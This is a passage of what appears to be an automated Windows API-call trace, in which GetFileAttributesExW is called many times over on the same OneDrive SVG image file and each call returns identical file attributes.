ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.047] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.047] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.047] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.048] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.048] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.049] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.049] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.049] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.050] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.050] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.050] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.051] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.051] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.051] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.052] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.052] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.052] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.053] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.053] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.054] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.054] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.054] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.055] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.055] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.055] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.056] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.056] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.056] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.058] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.058] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.059] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.059] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.059] GetFileAttributesExW (in: 